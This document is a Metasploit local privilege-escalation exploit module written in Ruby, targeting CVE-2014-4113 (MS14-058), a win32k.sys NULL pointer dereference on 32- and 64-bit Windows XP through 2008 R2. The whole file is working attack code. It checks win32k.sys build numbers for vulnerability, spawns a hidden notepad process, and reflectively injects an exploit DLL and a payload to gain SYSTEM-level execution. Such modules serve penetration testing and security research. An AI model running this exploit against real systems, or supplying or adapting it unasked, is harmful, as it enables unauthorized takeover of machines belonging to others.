## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', 'Description' => %q{ This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # vulnerability discovery and exploit in the wild 'juan vazquez', # msf module (x86 target) 'Spencer McIntyre' # msf module (x64 target) ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ # Tested on (32 bits): # * Windows XP SP3 # * Windows 2003 SP2 # * Windows 7 SP1 # * Windows 2008 [ 'Windows x86', { 'Arch' => ARCH_X86 } ], # Tested on (64 bits): # * Windows 7 SP1 # * Windows 2008 R2 SP1 [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2014-4113'], ['OSVDB', '113167'], ['BID', '70364'], ['MSB', 'MS14-058'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] ], 'DisclosureDate' => 'Oct 14 2014', 'DefaultTarget' => 0 })) end def check os = sysinfo["OS"] if os !~ /windows/i return Exploit::CheckCode::Unknown end if sysinfo["Architecture"] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i arch = ARCH_X86 end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") # Neither target suports Windows 8 or 8.1 return Exploit::CheckCode::Safe if build == 9200 return Exploit::CheckCode::Safe if build == 9600 if arch == ARCH_X86 return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) else return Exploit::CheckCode::Detected if build == 7601 end return Exploit::CheckCode::Unknown end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") if target.arch.first == ARCH_X86 dll_file_name = 'cve-2014-4113.x86.dll' else dll_file_name = 'cve-2014-4113.x64.dll' end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end